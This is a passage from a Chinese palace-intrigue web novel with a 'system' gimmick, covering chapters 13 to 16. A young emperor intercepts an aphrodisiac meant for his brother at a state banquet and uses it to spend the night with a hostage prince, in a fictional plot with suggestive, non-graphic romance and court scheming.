梁深十四岁便跟随先皇上战场,屡立战功。先皇病逝在征讨的途中,乃是梁深稳定军心,与北赵拼死一战。
那场战役实在太苦了,大梁失去军心,辎重粮草缺乏,又被北赵埋伏在深山之中,梁深身中冷箭,奄奄一息,拼尽全力才带领将士杀出重围。
那之后梁深一直在养伤,险些成为了一个跛子,可饶是如此,医官也告诉梁深,他的腿保住了,但他往后再也无法上战场,便是连骑马,也是困难之事。
大宗伯为了制衡秦王梁深,偷偷的告诉梁深,其实那场战役之所以辎重粮草紧缺,是因着晋王梁溪的“疏忽”,故意推迟粮草补给,目的便是想让秦王梁深永远的埋骨在大梁的边疆,那样便不会有人与他争抢皇位。
于是往日里无话不谈的兄弟二人,一夜之间反目成仇,老死不相往来,而秦王梁深也变成了大宗伯一党,从此和大宗伯往来。
梁苒眯了眯眼目,说:“寡人出去一趟。”
苏木没有问他去何处,说:“是。”
梁苒匆匆离开紫宸殿,臣子赴宴,必经之路自然是大梁宫的公车署,所有的车马都会停靠在此处。
果不其然,梁苒刚进入公车署,一眼便看到了大宗伯与秦王梁深。
大宗伯鬓发花白,滑稽的用伤布包着他的胳膊,将秦王梁深拉到角落,低语着什么。
听不清……
若是梁苒走近,梁深武艺高超,必然会发现于他,梁苒心中感叹,若是能听清一些便好。
叮——
【温馨提示:快快升级系统,拓展特殊功能吧~】
【2级系统功能:耳听八方!(每日可开启特殊功能1次)】
【是否开启“耳听八方”】
【是】
梁苒的目光一掠,随着系统的提示音,周遭羣臣寒暄的杂音突然减弱,甚至被过滤掉,而大宗伯与梁深的嗓音,直接被提取到了梁苒耳畔,一清二楚。
大宗伯的笑声黏糊糊,莫名十足猥亵:“秦王只需要将这药加在晋王的酒水之中,为晋王敬酒令他饮下,便可让他当众出丑,身败名裂!”
“药?”秦王梁深蹙眉:“什么药?”
大宗伯哈哈而笑:“秦王有所不知,这是……催情的虎狼之药!只要晋王饮下一点点,便可在宾客面前丑态毕露!梁溪那个人不是自负清高么,身为鸿胪寺的掌官,他若出丑,丢的便是大梁的颜面,届时君上还如何会让一个身败名裂之人接待菰泽使团?这份接待的重担,还不是落在秦王您的肩上?”
梁深的嗓音有些犹豫,带着浓浓的沙哑:“可是,这样做法,岂是大丈夫所为?”
大宗伯却恶狠狠的说:“秦王,您可别忘了,当年晋王是如何拖延辎重粮草,置你于死地的!”
梁深的声音沉默了良久,更加沙哑,只说了一个字:“好。”
梁苒躲在公车署的院墙之外,有些子好笑,这个二哥,还真是大宗伯说什么,他便信什么,真真儿是被大宗伯当枪使还不自知,便算晋王梁溪当众出丑,丢了接待使团的权利,这份利益也不会落在秦王梁深的头上,还不是被大宗伯捡走?
晋王梁溪若是大众出丑,丢的只会是大梁的颜面,梁苒的颜面。
不可,绝对不可让大梁颜面扫地的事情发生,梁苒灵动的黑眸微微转动,突然想到了移花接木的好主意。
梁苒给赵悲雪下药,赵悲雪宁肯冬日里跳入冰湖,也不愿亵渎梁苒分毫,既然如此……寡人便给自己下药,看赵悲雪如何化解应对。
倘或梁苒饮下本该属于大兄梁溪的药酒,一来可以化解梁溪的难堪,免于大梁颜面扫地;二来也可顺水推舟,与赵悲雪发生干系,完成系统任务,简直一石二鸟。
梁苒噙起一抹嫣然的笑意,寡人倒是要看看,赵悲雪到底如何坐怀不乱……
13. 虎狼之药
大梁宫,长欢殿。
长欢殿乃是大梁天子宴请百官和外宾的地方,在长欢殿摆宴,自然无比隆重。上一次在长欢殿燕饮,还是大宗伯的寿辰。
今日的长欢殿,烛火连成一片,映照的犹如白昼一般,因着今日是一个特别的日子——乃是菰泽国君带领太子和子民,归顺的日子。
梁苒一身黑色的龙袍,坐在最上首的黼扆龙座之上,百官参宴,大宗伯也来了,他日前害了重病,这会子脸色不如往日里康健,手臂还裹着厚厚的伤布,竟有一种老态龙钟的感觉。
大宗伯眼神凉丝丝的扫过坐在梁苒不远处的晋王,也就是这次使团的接待掌官梁溪,挑起一抹不屑的冷笑,随即与坐在后位的秦王梁深交换了一个眼神。
大宗伯可不知,就他那点小伎俩,早已被梁苒听到,在系统的助力之下,听得是一清二楚、明明白白。
随着跫音而至,菰泽国的使团终于走入长欢殿。
领头的便是菰泽王,身材高大,留着一脸的络腮胡,看起来虬髯孔武,不过壮年的年纪。他的身后跟着菰泽国太子,年龄似与梁苒相仿,都是差不多及冠的模样,却不像他的父亲那般高壮魁伟,身材高挑纤细,弱不禁风。
菰泽国以冶铁闻名天下,尤其是菰泽国太子,传闻菰泽国中最著名的三口宝剑,还有菰泽大鼎,全都是菰泽太子奉命锻造而成,可谓是个中佼佼者,少年才俊,不世出的人才。
可惜的是,菰泽国太子是个哑巴。虽菰泽国没有身患残疾不能入仕的传统,但太子是个哑子这事在国中还是津津乐道,遭人诟病的。
菰泽王没有其他儿子,国中太子又是个哑子,如今遭遇了北赵的疯狂侵略,菰泽王没有法子,为了百姓,也是不甘屈服于北赵,最终选择带领二十万精锐投奔大梁。
“臣,”菰泽王拜倒在地上,行大礼说:“拜见天子!”
菰泽太子也跟着跪下来叩头,身后菰泽国使团纷纷下跪,整齐肃穆。
梁苒眯起一双内勾外翘的丹凤眼,幽幽的看着菰泽王,菰泽一直在大梁与北赵的夹缝之间生存,若是他没有记错,上辈子的菰泽是归顺了北赵的,北赵拥有了菰泽的冶铁技术,兵马力量更上一层楼,从而将大梁远远甩在身后。
可如今不一样了,菰泽国将是大梁的版图,是寡人举目的地图。
梁苒露出一抹亲和温柔的微笑,温声说:“如今菰泽归来,以后咱们便是一家子人,何必如此见外呢?爱卿,快快请起。”
梁苒亲自走下龙座,将菰泽王扶了起来。
菰泽王投奔而来,还以为会受到大梁的白眼,毕竟他们是降臣,没成想年纪轻轻的天子竟如此温柔和善,足足令菰泽王大吃一惊,受宠若惊。
梁苒说:“既然菰泽归顺,寡人便封爱卿为七命菰泽侯,爱卿熟悉菰泽的风土人情,便还是掌管菰泽民生,至于令郎,便封为菰泽侯世子,不知二位意下如何?”
菰泽王在一方称王称霸,按理来说从王变成了侯,其实是降级的,菰泽王却十足欣喜,他没想到梁苒会让自己继续掌管菰泽,菰泽王本来还在担心,若是菰泽分给旁人治理,或者干脆划分出不同的郡县,子民该当如何是好,眼下好了,一切都不需要担心。
菰泽侯当即欣喜的拱手说:“臣谢君上恩典!君上大恩,臣没齿难忘!”
梁苒笑起来:“菰泽侯言重了,今日寡人替菰泽侯接风洗尘,不必如此拘束,来寡人敬你一盏。”
年轻的天子敬酒,臣子们也跟着敬酒,今日的燕饮便算开始了。
大宗伯不服气的瞥斜着菰泽侯,若不是因着患病的缘故,今日的风头怎么会被旁人抢走?他站起身来,不着痕迹的走到秦王梁深面前,低声催促说:“秦王,时机正好,何不去给晋王敬酒呢?”
秦王梁深看了他一眼,微微蹙眉,心底里多少是有些犹豫的。
他的确痛恨梁溪,这个大兄表面看起来光风霁月,其实内在败絮其中,为了打压自己,竟连众多将士的性命都不在乎,拖延粮草,以至于大梁兵马折损惨重。
这笔账,梁深狠狠的心想,是该算一算,让他出点丑怎么了?
梁深沙哑的说:“催什么?这便去了!”
他抓起案几上的酒盏,大步朝着晋王梁溪而去。
“大皇兄!”梁深的嗓音深沉有力,换上一副笑脸。
他与梁溪本就是双生子,生得几乎一模一样,只不过长兄梁溪温文尔雅,高挑纤细,而二弟梁深自幼是个顽皮的,上蹿下跳,因而身量挺拔强壮,面容也比梁溪更加刚毅硬朗。
梁深挂上假笑,夹枪带棒的说:“大皇兄身为鸿胪寺的掌管,负责菰泽使团的接待,今日可算是出尽了风头,二弟敬你一杯,如何?”
梁溪在与敬酒的臣子斡旋,突然听到梁深的嗓音,有些许吃惊的回头看着他。
“深儿?”自从梁深战败,铩羽而归,差点子瘸了一条腿之后,梁深便再也没有与梁溪说过一句话,即使是每次朝参都会打照面,梁深也不会多说一句,甚至连个点头也没有。
今日倒是稀奇了,梁溪诧异的看着弟弟。
梁深的酒里加了大宗伯给他的虎狼之药,他深知梁溪这个人性子谨慎,心思细腻,唯恐他看出端倪,于是冷笑一声,故意说:“怎么?大皇兄负责了菰泽使团接待,如今倒是今非昔比了,我这个弟弟给你敬酒,你也是满不在乎的。”
遂以退为进的说:“罢了,不饮算了。”
梁溪回过神来,清秀的脸面有些动容,拦住梁深,惊喜的说:“二弟敬酒,我自没有回绝的道理。”
梁溪接过酒盏,并没有怀疑什么,仰头便要饮下。
“大皇兄!”梁苒突然出现,直接打断了梁溪饮酒的动作,自然而然的从梁溪手中拿过酒盏,笑眯眯的说:“大皇兄今日饮得够多了,你身子素来不好,不能多饮,二皇兄这杯酒,寡人替你饮了。”
“哎,等……”梁深抬起手来阻止,可偏偏梁苒的动作十足迅捷,生怕他会阻止一般,一仰头将酒酿尽数饮下。
梁深高大的身躯僵在原地,欲言又止的看着梁苒。
他本想让梁溪当众出丑,叫他名誉扫地,狠狠的报复回去,可是……
可是梁深没想让梁溪出丑,如今梁溪是大梁的天子,便是大梁的脸面,倘或梁溪在国宴上出丑,那才是真正的名誉扫地,梁深这个秦王也不能幸免于难。
“怎么了?”梁苒故意发问:“二皇兄,不会是因着寡人饮了这杯酒,二皇兄如此小气罢?”
梁深实在不知说什么,面色难堪的转头离开。
梁苒看着梁深的背影,眯了眯眼目,走回龙椅前坐下,招了招手。
苏木走过来,说:“请君上吩
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咐。”
梁苒低声说:“一会子你拖住大宗伯,无论大宗伯要做什么,不许他离开长欢殿一步。”
苏木不明白梁苒这是何意,但还是点头:“是,臣敬诺。”
梁深只是想让梁溪难堪,但大宗伯不一样,大宗伯若是知晓梁苒误饮了加入虎狼之药的酒水,一定会将计就计,抓住梁苒的小辫子,来威胁梁苒。所以梁苒要苏木拖住大宗伯,让他无法使手段。
好热……
分明是隆冬的黑夜,空气干冷又凛冽,而梁苒的小腹之中慢慢生起一股热流,不断的蔓延向四肢百骸。
梁苒知晓,是酒水起作用了。
他趁着羣臣不注意,悄无声息离开了长欢殿,快速往路寝宫紫宸殿而去。今日是大梁的国宴,身为北赵质子的赵悲雪是没有权利参加燕饮的,这会子应该便歇在紫宸殿的东室。
梁苒已然算好了,寡人中了药,跌跌撞撞跑回去,寻求赵悲雪的“帮助”,看那赵悲雪这次还能耍什么花样!
药效比梁苒想象中发作要快,发作要烈,前方不远便是内朝的紫宸殿,分明就在眼前,可梁苒却有一种望山跑死马的错觉。
脚步越来越软,膝盖打抖,双腿发酸,面上火辣辣的,不断有晶莹剔透的热汗滚下,顺着梁苒一丝不苟紧扣的衣领滑入。
好巧不巧,路上还碰到了几个大宗伯的爪牙,那几个官员似是出来透透气,正在往回走,一面走一面谈天说地,高谈阔论。
梁苒侧身躲在假山之后,他这副模样,但凡长眼之人都知晓他中了药,绝对不能让旁人看到,以免多生事端。
“要我说啊,伯爷只是一时生了病,不然接待使团的事情哪里轮得到晋王?”
“正是!那个晋王耍什么威风?等大宗伯养好了病,有他好看的!”
“当今的天子见到了咱们大宗伯,还不是乖巧的像一只喵喵叫的小猫咪!哈哈哈哈——”
梁苒靠着假山,努力克制着自己的吐息,听着他们的调侃,眼神愈发的冰冷起来,偏偏四肢百骸燥热难耐。
“诶?是不是有什么声音?”
“在假山那边。”
几个官员朝着梁苒的方向走过来,梁苒心窍梆梆猛跳,打算转身便跑,可偏偏他双腿绵软的厉害,怎么也迈不动步子。
一双宽大的手掌突然伸过来,将梁苒打横抱起。
“唔!”梁苒惊呼一声,已然撞进了那结实的怀抱,有些熟悉,定眼一看竟然是赵悲雪!
赵悲雪不知从何处而来,将梁苒抱在怀中,陡然展开轻身功夫,在那几个官员还没看清的情况下,快速掠过,绕过内朝宫门,直接蹿身进入紫宸殿。
赵悲雪将梁苒小心的放在太室的龙榻上,紧紧蹙着眉心:“你怎么了?你身上好烫。”
“唔……”梁苒被他的手掌轻轻一抚,单薄的身子仿佛搁浅在沙滩上的小鱼,纤细的腰肢干渴的弹跳了一记,酥麻的感觉如遭雷击。
浅浅的呻吟令赵悲雪一愣,他快速收回手去,转身回避。
梁苒眼疾,一把抓住赵悲雪的衣襟,不让他离去,为了系统任务,寡人都饮了加料的酒水,绝不能失败,成败就在此一举。
梁苒的眼眸殷红,瞬间升起浓浓的氤氲水雾,粉红色的唇瓣颤抖,呢喃的说:“寡人、寡人中了大宗伯的算计……赵悲雪,帮帮寡人。”
14. 满足与兴奋
长欢殿歌舞升平,觥筹交错。
秦王梁深亲眼看到梁苒饮下加了虎狼之药的酒酿,欲言又止,最终沉着脸转身走回去。
大宗伯立刻靠拢过来,压低声音:“如何?晋王可饮了?”
梁深摇摇头。
大宗伯十足失望,一时间眼神中透露出看废物的不屑,只可惜梁深因着心事,并没有发觉。
梁深心神不定的说:“君上突然横插一杠,将本王敬给梁溪的酒给……给饮了!”
“什么?”大宗伯也是一惊:“秦王的意思是说,那盏酒……被天子饮了?”
梁深没有说话,只是点点头,脸色更加难看。
梁深痛恨梁溪拖延军机,延误粮草,以至于他险些变成了一个瘸子,葬送了那么多将士的性命,所以想给梁溪一些颜色看看,叫他出丑,叫他揭下那层伪善的面具。
谁知情形却变成了如此这般,倘或当朝天子在使团面前出丑,那么大梁的人,谁的面子上也不会好过。
大宗伯没有梁深那样的担心,一张布满褶皱的老脸反而笑起来,嗓子里藏着嗬嗬的笑声,昏黄的眼珠子来回乱转,瞟向坐在最上首的年轻天子。
梁苒年岁很轻,身材高挑而纤细,说不出来的风流羸弱,在梁苒还是皇子的时候,便是上京城出了名的美男子,谁不知晓梁苒的大名?很多爱美之人,都是千里迢迢前往上京,只为了远远的看梁苒一眼。
尤其是如今的梁苒,按着一袭黑色的龙袍,玄黑衬托着白皙剔透的皮肤,更是令人心窍麻痒。
大宗伯心中寻思,君上年纪青涩,还没有后宫,未开掖庭,恐怕是没有尝过荤腥的,怎么能受得住那样的虎狼之药?倘或自己拿捏住君上,不只是能尝尝那美妙的身子,还能以此要挟年轻的天子,何乐不为?
大宗伯躁动的好像一头被火焰撩了屁股的山猪,躁动的根本坐不住,顾不得自己断了一条手臂的滑稽模样,迫不及待站起身说:“秦王,老臣突然想起一些事情,失陪了。”
梁深蹙眉:“你去何处?”
大宗伯却不理会他,径直朝着梁苒的方向而去。
“大宗伯。”有人突然出现在大宗伯面前,竟然是苏木。
苏木板着一张不近人情的石头脸,手里端着一杯酒水,说:“臣以前多有得罪,但都是为了大梁尽忠,今日敬大宗伯一盏酒,还请大宗伯大人大量,不要计较。”
知情的人以为苏木是来敬酒的,不知情的人还以为苏木是来找茬儿的。
无错,苏木就是来找茬儿的,梁苒早就料到大宗伯不安好心,因此特意叮嘱苏木,一定要拖住大宗伯,不得让他离开长欢殿宴席一步。
苏木说罢,“哗啦——”极其做作,将酒水往大宗伯身上一洒。
“啊!!”大宗伯大喊一声,瞪眼吼着:“你做什么!?都洒了!”
酒水不偏不倚,正好洒在大宗伯的伤布上,瞬间湿哒哒。
苏木毫无诚意的说:“真是对不住,大宗伯的伤布湿了,若不赶紧换下来,唯恐骨折的伤口感染,如不然这样罢,臣送大宗伯去换药。”
大宗伯气得跺脚,抽空抬头一看,那误食了虎狼之药的少年天子哪里还有踪影,一晃眼已经消失的无影无踪,不知去了何处……
“赵悲雪,帮帮寡人……”
昏暗的紫宸殿,昏暗的太室。
深沉的夜色佛凝固了一般,分明寒冷的空气,却愈发变得胶着,甚至炙热。
赵悲雪深深的看着瘫软在软榻上的年轻天子,喉咙艰涩的滚动,每一次吐息甚至都需要消耗他的理智。
赵悲雪沙哑的说:“你……要我如何帮你。”
梁苒见他还是没有动静,心中好气,寡人都这般了,难不成那赵悲雪仍然不为所动么?这可不像他们在萧山离宫的头一夜,也没见赵悲雪手下留情。
梁苒放软了嗓音,也的确是太难受了,热流从腹下一阵阵涌起,带起战栗的酥麻,呜咽的说:“你知晓如何帮寡人……”
赵悲雪的吐息果然更加粗重,像是一头即将捕猎的野狼,他的双手攥拳,指甲狠狠掐着掌心,终于再次开口了:“我帮你去找医官来。”
梁苒险些气笑,用尽全力,绵软的手掌拽住赵悲雪的衣角,断断续续的说:“不要……不要去找医官,宫中都是大宗伯的爪牙,他必然在等……等着寡人栽跟头,看笑话……”
深深的吸了一口气,梁苒咬了咬嘴唇,被虎狼之药折磨到殷红的面颊,透出一点子恰到好处的羞赧,轻声说:“赵悲雪,你守着寡人……寡人才能安心。”
“好……”赵悲雪似乎做了重大的决定,点点头:“我不走。”
滚烫的汗珠顺着赵悲雪坚毅的下颌线条滑落,吧嗒一声悄无声息的滴落在龙榻之上,瞬间湿濡了锦被。
赵悲雪在理智燃烧殆尽之前,说:“我帮你倒杯凉茶罢。”
说罢,快速转过屏风,走到案几边上,真的去倒茶了。
梁苒本就燥热,气得更是头顶发麻,帮寡人倒茶?这会子是该替寡人倒茶么?分明该乖乖被寡人借种!
赵悲雪倒出一盏凉茶,深吸了两口气,压住胸腹中的躁动,这才抬步走回来,他来到屏风之前,还未转过去,突听窸窸窣窣的声音,伴随着哗啦一声轻响,一条黑色的衣襟顺着屏风滑落出来,那是梁苒的龙袍。
黑色的龙袍,华贵的革带,缀满金玉的蹀躞,便这样掉落在赵悲雪的脚边,薄薄的扇屏之后,柔软的龙榻之上,梁苒纤细的身影若隐若现,仿若一条纤细而柔软的水蛇,难耐的拧动,梁苒的嗓音颤抖而委屈,呢喃着:“悲雪,悲雪……”
啪嚓——!是茶盏掉落在地上的声音。赵悲雪手掌一滑,凉茶脱手而出,破碎的瓷片与黑色的龙袍交织缠绵在一起,但赵悲雪再也顾不得这些,险些撞倒扇屏,大跨步来到榻边。没有了繁冗龙袍的遮掩,梁苒雪白的里衣片片剥落,凌乱而慵懒的挂在小臂之上,斑斑驳驳的暧昧吻横陈在那样纤细的身子上,犹如细腻雪色之中的点点梅花。
“是你?”赵悲雪看见那些吻痕,黑色的眼眸狠狠一震:“那夜之人果然是你。”
萧山离宫的那一夜,其实赵悲雪有所猜测,与他发生干系的人正是梁苒,只不过第二日便被梁苒否定了,梁苒还装作一副不知情的模样,赵悲雪参不透他在想什么。
梁苒黑色的
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鸦发被汗水浸透,双眼迷离,氤氲着朦胧的泪花,吐息滚烫的说:“赵悲雪,寡人要你。”
赵悲雪这一次没有说话,只是越过玄黑色的龙袍,一步步走向梁苒……
苏木亲自带着大宗伯去换药,可想而知,一向雷厉风行,行事果断的虎贲中郎将苏小将军,竟然“笨手笨脚”,大宗伯的骨折本就还在疼痛,被这样一折腾,年纪又大了,自然是吃不消的,哪里还能想到对梁苒使坏?被几个贴心的长随搀扶着,早早出宫去了。
苏木看着大宗伯半死不活的背影,这才沉下脸来,收敛了笨手笨脚的作风,转头往紫宸殿前去复命。
苏木来到紫宸殿,大殿门口竟然没有内监和宫女伺候,不知是不是被遣走了。他一路走进紫宸殿,来到太室门口,恭敬的作礼:“臣苏木谒见君上。”
太室的室门紧闭,咚!却传出一声轻微的响声,紧跟着平静的室门轻轻颤抖了一记,隐约有急促的吐息声隔着一道门板传出来。
苏木奇怪的说:“君上?”
太室之内平静了一瞬,静悄悄的,无人回应苏木。
苏木更加奇怪,轻轻叩门:“君上?君上您可在里面?是否遇到了什么?”
他愈发的焦急,难道是大宗伯搞的鬼?可大宗伯已然被送出宫去,不可能这般快折返回来。
苏木朗声说:“臣失礼,君上,臣要进来……”
不等苏木推门,梁苒的嗓音终于响起,带着一股急促,尾音不可抑制的颤抖:“不要、别进来。”
苏木立刻钉住脚步,恭敬的说:“是,君上。”
梁苒的声音再次响起,比方才还要急促,甚至隐约有些哽咽,断断续续的说了怎么又,不要再这六个字,很快又归为平静。
苏木紧蹙眉心,担心的说:“君上您没事罢?”
隔了良久,苏木还以为梁苒没有听到,刚想再问一次,梁苒的声音终于回答:“寡人……寡人无碍,只是有些唔乏了,想燕寝了,苏木你……帮寡人盯紧了大宗伯,退、退下罢。”
苏木不疑有他,回答说:“是,君上保重龙体,臣告退。”踏踏踏……是苏木离开的跫音。
跫音远去的那一刻,太室门板发出嘭的一声,梁苒再难以支撑,后背死死抵住宽阔的室门,膝盖酥麻的几乎无力支撑,软绵绵的向下坐倒。赵悲雪一把搂住梁苒的腰肢,在赵宫中做惯了苦役粗活的手臂肌肉流畅强壮有力,单手便将人抱起。
“阿苒,阿苒……”赵悲雪一声又一声,不厌其烦的唤着他,活像见了血腥的野狼,任是谁也无法阻止他猎食。
梁苒勉强睁开疲惫的双眼,殷红的眼角挂着尚未干涸的泪痕,气息游离,却执意说:“……唤寡人君上。”
赵悲雪并没有任何异议,虽生得好似一头不服管教的野狼,却意外的乖顺,年轻的脸孔俊美又稚气,听话的沙哑唤着:“君上。”
不知是不是中了药的缘故,梁苒只觉得这声君上令自己通体酥麻,让上辈子的死敌、未来的敌国皇帝这般低声下气的唤自己,梁苒的心窍陡然生起一股满足与兴奋。
赵悲雪的种,梁苒疲惫昏睡过去之时,幽幽的想着,寡人借定了!
15. 口口
累。
好累,精疲力尽。
梁苒沉浸在幽幽的昏睡之中,酸软的一根手指头都抬不起来,眼皮沉重,努力睁开好几次,终于艰难的醒了过来。
“你……”一道声音从耳畔传来,带着一点点不确定,轻声问:“你醒了?”
因着昨夜的折腾,梁苒此时脑海中浑浑噩噩,还没有彻底醒过盹儿来,眼神朦胧的望着那说话之人。
对方与梁苒躺在一张龙榻之上,梁苒甚至枕着他肌肉流畅的手臂,二人都只着单衣,甚至里衣雪白的衣角带子交缠在一起,看起来如斯暧昧。
说话之人正是赵悲雪。
梁苒终于彻底醒过来,为了完成系统3级任务,得到万千库银,梁苒不惜给自己下药,幸亏皇天不负苦心人。
梁苒狠狠舒出一口气,虽累了一些,但这一次必然会完成任务。
“你……”赵悲雪轻声说:“身子如何?有没有什么不舒服?”
梁苒稍微动了动,身子酸软无力的厉害,却没有之前的那般粘腻,想来是赵悲雪帮自己清理过了,倒是少了梁苒一些麻烦,他此时正懒得动弹。
“无碍。”梁苒并不是娇气之人。
赵悲雪拿出一样东西,低头用手掌摩挲着,说:“昨夜我有点着急,好似弄伤了你,我……我给你上药罢?”
原赵悲雪手心里的,是一盒清凉消肿的伤药。
梁苒那难以启齿的地方,的确火辣辣的难受着,他懒得动弹,左右更加亲密的干系已然发生,何必这个时候矫情呢,若不上药,反正受苦的自己。
梁苒干脆淡淡的“嗯”了一声,唰一声轻响,主动解开自己的衣带。
衣带扑簌簌松散,顺着梁苒柳条子一般的腰肢滑落下去,雪白的衣料散开,赵悲雪的眼神立刻慌乱,不知该放在何处,僵硬的撇开在一边,甚至……
甚至俊美而刚毅的面孔,竟泛起了淡淡的红晕,赵悲雪脸红了!
梁苒险些被气笑,赵悲雪竟脸红了,那个上辈子的杀神,未来的北赵皇帝,冷酷无情,弑父上位,竟然为了这么一点点“小事儿”脸红了,简直是滑天下之大稽,说出来谁会相信?
可眼前年轻的赵悲雪,的的确确脸面通红,一直蔓延到耳朵根子,眼目撇开,眼睫不自觉的颤抖,眨眼的频率也变高了,梁苒甚至可以听到他清晰的心跳声,梆梆、梆梆,强健有力,急又紊乱。
“呵呵……”梁苒突然起了逗弄之心,慢慢抬起腿。梁苒的小腿纤细,线条优美又羸弱,可他并不是干瘦的类型,其实大腿很能藏肉,尤其是大腿根的位置,随着慢慢的抬起,衣袍一点点散落,倏然露出更多的雪色肌肤。笑着说:“你不是要替寡人上药么?”
赵悲雪一瞬间更加僵硬,整个人好似一块钢板,还是新铸的钢板,红彤彤的能冒烟儿,下意识舔舐了一下自己干涩的下唇,一把捉住梁苒纤细的脚裸,掌心炙热犹如铁钳,险些烫得梁苒一个激灵。
赵悲雪擒住那暧昧捣乱的脚踝,立刻掀开被子,将梁苒露出来的所有肌肤盖在锦被之下,沙哑的说:“别……别着凉。”
“噗嗤……”梁苒彻底笑出声,笑得花枝乱颤,眼泪差点子流下来。
谁能想象得到,未来的敌国皇帝,那个上辈子不苟言笑,如同地狱杀神一般,令人望而生畏的赵悲雪,竟然是个容易害羞,禁不住逗弄的假正经,青涩稚嫩的有那么一点点可人儿。
梁苒挑眉,微微昂起下巴,带着一股帝王不容置疑的威严,命令说:“赵悲雪,还不给寡人上药?”
赵悲雪张了张口,几乎找不到自己的声音,干涸沙哑的说:“我……”
梁苒却说:“你应该回答,敬诺,君上。”
赵悲雪停顿了一瞬,终于找回了自己的声音,沉声说:“敬诺,君上。”
被死敌唤君上,这种感觉令梁苒热血逆流,直冲头顶,酥麻兴奋之感不易于昨夜的欢愉。甚好,真是一条好狗。
赵悲雪没有打开锦被,拨开伤药的盖子,挖出一点滑腻清香的药膏,有力的手掌从锦被之下钻进去,他所有的动作都被锦被遮挡,只剩下窸窸窣窣的声音,还有梁苒唔的一声闷哼,梁苒的吐息变得急促而断断续续,哪里还有方才的游刃有余。
暧昧的气息愈发黏着,无形的弥漫在太室的空气中,赵悲雪的眼神愈发阴霾深沉,变得和昨夜一般无二,他一点点的靠近梁苒,想要捕捉梁苒那殷红犹如桃花的唇瓣。
梁苒突然一撇头,错开赵悲雪落下的亲吻,凉丝丝的说:“寡人允许你亲了么?”
赵悲雪一愣,随即露出失落的表情,如果他的头顶上有狗耳朵,此时此刻那双耳朵一定耷拉着,可怜兮兮。
梁苒心想,寡人与赵悲雪的干系,无非是借种的干系,除此之外,便是让赵悲雪为我大梁所用,所以除了借种,多余的事情并不用做,例如亲吻。
“我要见君上!”
“你们谁敢拦我?!”
“伯爷,伯爷您不能进去,君上还未晨起,伯爷……”
紫宸殿外吵闹的声音源源不断的传进来,将太室中暧昧的气息搅乱。
赵悲雪蹙起眉心,哪里还有落魄小狗的模样,瞬间变成了一条警戒的野狼,一双三白反顾眼眯起来,冷冷的盯着殿门的方向。
大宗伯一早便进宫来闹,堵着天子路寝宫的门口,必然是利益相关之事。
梁苒心中清楚的厉害,大宗伯已然错失了接待菰泽国使团的权利,按照大宗伯的性子,接下来的好处他哪里能放手?
使团如今已然入了上京,二十万精兵很快也会归降,这二十万可不是小数目,大梁自然会排除最得力的臣子前去交接,谁第一个去交接虎符,那么这二十万兵马自然便是谁的。
大宗伯自己手下掌握着不少兵马,上京两万五千虎贲军,有一半以上几乎是他的爪牙,大宗伯已然将上京牢牢的掌握在手心中,野心勃勃的还想要贪图这二十万精兵。
梁苒揉了揉额角,因为少眠缺觉,脸色难看的厉害,幽幽的说
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:“又是大宗伯,真真儿惹人厌烦。”
赵悲雪锐利的眼神闪过一丝光芒,仿佛宝剑出鞘,冷冷的说:“你厌恶他?那我便去杀了他。”
梁苒侧头看向赵悲雪,赵悲雪的眼神不像是在说大话。
梁苒忍不住笑起来,杀了大宗伯,的确是一劳永逸的好法子,可是大宗伯有自己的党派,盘根错节,牵扯到了整个朝廷,倘或杀了大宗伯,他的党派还会推举出下一个“大宗伯”,继承他的势力与权力,只是治标不治本罢了。
梁苒需要一个契机,给大宗伯盖上永无翻身的帽子,如此一来便可名正言顺的清算他的爪牙与党羽,斩草除根!
梁苒笑着说:“杀了可不行。”
赵悲雪认真的说:“那我就去把他的腿也打断,让他无法进宫来骚扰……”
赵悲雪的嗓音一顿,本想说“骚扰你”,转念想到梁苒三番两次叫自己唤他“君上”,于是乖巧的改口说“:让他无法进宫来骚扰君上。”
梁苒听到这句话,登时通体舒畅,赵悲雪要为了寡人打断大宗伯的腿,他还唤寡人君上,没有什么事情,比这听起来更加痛快爽俐了。
梁苒嫣然一笑:“大宗伯年纪大了,你下手可要有轻重,闹出人命便不好了。”
虽梁苒没有肯定的答允,但这分明便是同意了赵悲雪的提议。
赵悲雪点点头,也不多话便往外走。
梁苒再次提醒:“是了,别让大宗伯看到你的脸,免得徒生事端。”
赵悲雪干脆利索的答应:“好。”旋即推开太室的后门,从客阶离开。
梁苒望着赵悲雪的背影,伸了一个懒腰,将头枕抱在怀中准备补眠一会子,原来拥有自己的爪牙,是这样一种感觉,不得不说,养一条好狗还挺方便的。
他轻轻闭上眼目,浑浑噩噩即将沉入睡眠之时突然想到,不知任务3完成了没有,手指虚划打开系统控制面板,查看是否怀孕。
【系统正在查询中,请稍后……】
上次失败是因为赵悲雪假正经,竟跳入了带着冰渣子的湖水之中,这一次二人颠鸾倒凤整整一夜,梁苒都因体力不支昏睡了过去,加之系统赋予的怀孕几率高达99.999999%。
梁苒心想:绝不可能失败。
叮——
【没有怀孕】
“什么?”梁苒一愣,呆呆的盯着系统控制面板,一双丹凤眼睁得浑圆,清秀美艳的脸蛋上满是不可置信:“怎么还没有?昨夜明明……”
【温馨提示:宿主昨夜的确与赵悲雪进行了负距离的亲密接触,但在宿主昏睡之后,赵悲雪体贴的没有将口口留在宿主的的体内,因此宿主没有怀孕。】
【温馨提示:不要问口口是什么!口口为系统和谐词!请宿主仔细体会口口的含义!】
梁苒看着满眼的“口口”,白皙的面孔泛上一层淡淡的殷红,并不是羞赧,而是气恼,纤细的手指绞紧锦被,咬牙切齿一字一顿的说:“赵悲雪可太、体、贴、了!”
16. 争风吃醋
“放我进去!你们这些阉人的胆子,真真儿愈发的大了!竟敢拦我?”
大宗伯一只手打着伤布,宫人也不敢碰他,生怕碰到大宗伯的伤口,大宗伯会以此发难。
“伯爷,君上还未晨起,您真的……真的不能进啊,让小臣前去通禀一声……”
不等内监说完,大宗伯冷笑一声:“还未晨起?君上一向勤勉,便是昨日有宫宴,今日也不会懒惰,怎会还未晨起!起开,我要面见君上!”
内监没有说谎,梁苒的确还未晨起。梁苒一向是勤勉的性子,无论是做皇子还是做君主,每日天色灰亮便起身,数年如一日,但今日不同,梁苒被赵悲雪折腾了一夜,浑身疲软,竟是一觉睡到了日上三竿,幸亏今日没有朝议与廷议。
“放肆!你们竟敢拦我?”
大宗伯推开宫人,横冲直撞,直接步入紫宸殿大门。
“大宗伯。”有人突然出现,横身在大宗伯面前,一身虎贲禁卫戎装,腰配虎贲长剑,面容冷淡。
是苏木。
